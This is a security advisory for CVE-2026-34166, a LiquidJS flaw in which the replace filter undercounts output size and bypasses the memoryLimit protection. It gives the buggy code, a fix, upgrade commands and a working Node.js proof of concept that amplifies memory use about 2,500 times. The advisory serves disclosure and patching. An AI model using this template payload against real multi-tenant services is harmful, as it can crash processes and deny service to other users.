GHSA-mmg9-6m6j-jqqx CVE-2026-34166
LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter
- Severity
- 3.7 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.50%
- Chance of exploitation in the next 30 days. Higher than 42.48% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- Fix
10.25.3- Upgrade liquidjs to this version or later
Description
Summary
The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.
Details
The vulnerable code is in src/filters/string.ts:137-142:
export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
const str = stringify(v)
pattern = stringify(pattern)
replacement = stringify(replacement)
this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output
return str.split(pattern).join(replacement) // actual output can be quadratically larger
}
The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:
(number_of_occurrences * replacement.length) + non_matching_characters
When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 * 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.
The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.
The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.
PoC
const { Liquid } = require('liquidjs');
// User explicitly enables memoryLimit for DoS protection (10MB)
const engine = new Liquid({ memoryLimit: 1e7 });
const inputLen = 5000;
const aStr = 'a'.repeat(inputLen);
const bStr = 'b'.repeat(inputLen);
// Template that should be blocked by 10MB memory limit
const tpl = engine.parse(
`{%- assign s = "${aStr}" -%}` +
`{%- assign r = "${bStr}" -%}` +
`{{ s | replace: "a", r }}`
);
// This should throw "memory alloc limit exceeded" but succeeds
const result = engine.renderSync(tpl);
console.log('Memory limit: 10,000,000 bytes');
console.log('Memory charged:', 10001, 'bytes');
console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes
console.log('Amplification:', Math.round(result.length / 10001) + 'x');
// Output: Amplification: 2500x — completely bypasses the 10MB limit
Impact
Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:
- Node.js process out-of-memory crashes
- Denial of service for co-tenant users on the same process
- Resource exhaustion on the hosting infrastructure
The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.
Recommended Fix
Account for the actual output size in the memory limiter by calculating the number of occurrences:
export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
const str = stringify(v)
pattern = stringify(pattern)
replacement = stringify(replacement)
const parts = str.split(pattern)
const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)
this.context.memoryLimit.use(outputSize)
return parts.join(replacement)
}
This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| liquidjs | < 10.25.3 |
10.25.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
liquidjs npm → 10.25.3
- npm
npm install liquidjs@10.25.3- yarn
yarn add liquidjs@10.25.3- pnpm
pnpm add liquidjs@10.25.3
Severity breakdown
CVSS 3.1 3.7
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-fwxr-j5w2-587m LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration | Medium | Also affects liquidjs |
| GHSA-4r6h-5v86-94p3 LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process | High | Also affects liquidjs |
| GHSA-m7fp-h3p4-hr49 LiquidJS has an infinite loop vulnerability in its `strip_html` filter | High | Also affects liquidjs |
| GHSA-g357-x5c3-c72p LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce | High | Also affects liquidjs |
| GHSA-gf2q-c269-pqgc LiquidJS is Vulnerable to Remote Code Execution | Critical | Also affects liquidjs |
| GHSA-r7g9-xpmj-5fcq LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex | High | Also affects liquidjs |
| GHSA-hh27-hf48-9f5q LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) | High | Also affects liquidjs |
| GHSA-9x9p-qf8f-mvjg LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()` | Medium | Also affects liquidjs |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor